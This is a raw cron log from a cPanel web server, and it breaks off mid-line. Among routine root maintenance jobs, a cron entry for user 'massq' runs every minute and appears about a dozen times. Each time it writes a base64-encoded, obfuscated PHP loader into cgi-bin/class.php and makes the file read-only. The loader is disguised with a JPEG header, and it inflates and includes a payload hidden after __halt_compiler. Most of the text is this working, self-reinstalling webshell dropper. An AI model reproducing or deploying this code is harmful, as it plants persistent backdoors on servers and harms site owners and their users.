Sep  9 02:40:01 server CROND[25941]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep  9 02:40:01 server CROND[25942]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Sep  9 02:40:01 server CROND[25946]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  9 02:40:01 server CROND[25947]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  9 02:40:01 server CROND[25948]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  9 02:40:01 server CROND[25955]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep  9 02:40:01 server CROND[25954]: (root) CMD (   bash -c 'sleep $((RANDOM % 60))' ; /opt/imunify360/venv/share/imunify360/scripts/check-detached.py > /dev/null 2>&1 || :)
Sep  9 02:40:01 server CROND[25953]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Sep  9 02:41:02 server CROND[27318]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  9 02:41:02 server CROND[27320]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  9 02:41:02 server CROND[27319]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  9 02:42:01 server CROND[28277]: (root) CMD (/usr/local/cpanel/whostmgr/bin/dnsqueue > /dev/null 2>&1)
Sep  9 02:42:01 server CROND[28279]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  9 02:42:01 server CROND[28278]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  9 02:42:01 server CROND[28280]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  9 02:43:01 server CROND[28661]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  9 02:43:01 server CROND[28662]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  9 02:43:01 server CROND[28660]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  9 02:44:01 server CROND[29136]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  9 02:44:01 server CROND[29137]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  9 02:44:01 server CROND[29138]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  9 02:45:01 server CROND[29530]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Sep  9 02:45:01 server CROND[29531]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  9 02:45:01 server CROND[29532]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep  9 02:45:01 server CROND[29539]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  9 02:45:01 server CROND[29538]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  9 02:45:01 server CROND[29536]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep  9 02:45:01 server CROND[29541]: (root) CMD (   bash -c 'sleep $((RANDOM % 60))' ; /opt/imunify360/venv/share/imunify360/scripts/check-detached.py > /dev/null 2>&1 || :)
Sep  9 02:46:01 server CROND[30376]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  9 02:46:01 server CROND[30377]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  9 02:46:01 server CROND[30385]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  9 02:47:01 server CROND[30757]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  9 02:47:01 server CROND[30759]: (root) CMD (  bash -c 'sleep $((RANDOM % 1800))'; /usr/libexec/report-command-error /opt/imunify360/venv/share/imunify360/scripts/imunify-check-pkg-integrity >/dev/null 2>&1)
Sep  9 02:47:01 server CROND[30758]: (root) CMD ((/usr/local/cpanel/scripts/fix-cpanel-perl; /usr/local/cpanel/scripts/upcp --cron > /dev/null 2>&1 > /dev/null))
Sep  9 02:47:01 server CROND[30760]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  9 02:47:01 server CROND[30762]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  9 02:47:16 server crontab[30972]: (root) LIST (root)
Sep  9 02:47:16 server crontab[30975]: (root) LIST (root)
Sep  9 02:47:21 server crontab[31097]: (root) LIST (root)
Sep  9 02:48:01 server crond[1999]: (*system*) RELOAD (/etc/cron.d/cpanel_ssl_reissue)
Sep  9 02:48:01 server crond[1999]: (bespokeapps) ORPHAN (no passwd entry)
Sep  9 02:48:01 server crond[1999]: (massivedesign) WRONG FILE OWNER (/var/spool/cron/massivedesign)
Sep  9 02:48:01 server CROND[31575]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  9 02:48:01 server CROND[31577]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  9 02:48:01 server CROND[31576]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  9 02:49:01 server CROND[32256]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  9 02:49:01 server CROND[32257]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  9 02:49:01 server CROND[32258]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  9 02:50:01 server CROND[32673]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Sep  9 02:50:01 server CROND[32674]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep  9 02:50:01 server CROND[32678]: (root) CMD (   bash -c 'sleep $((RANDOM % 60))' ; /opt/imunify360/venv/share/imunify360/scripts/check-detached.py > /dev/null 2>&1 || :)
Sep  9 02:50:01 server CROND[32680]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Sep  9 02:50:01 server CROND[32681]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  9 02:50:01 server CROND[32684]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  9 02:50:01 server CROND[32682]: (root) CMD (/usr/local/cpanel/scripts/eximstats_spam_check 2>&1)
Sep  9 02:50:01 server CROND[32687]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  9 02:50:01 server CROND[32683]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep  9 02:51:01 server CROND[1184]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  9 02:51:01 server CROND[1185]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo 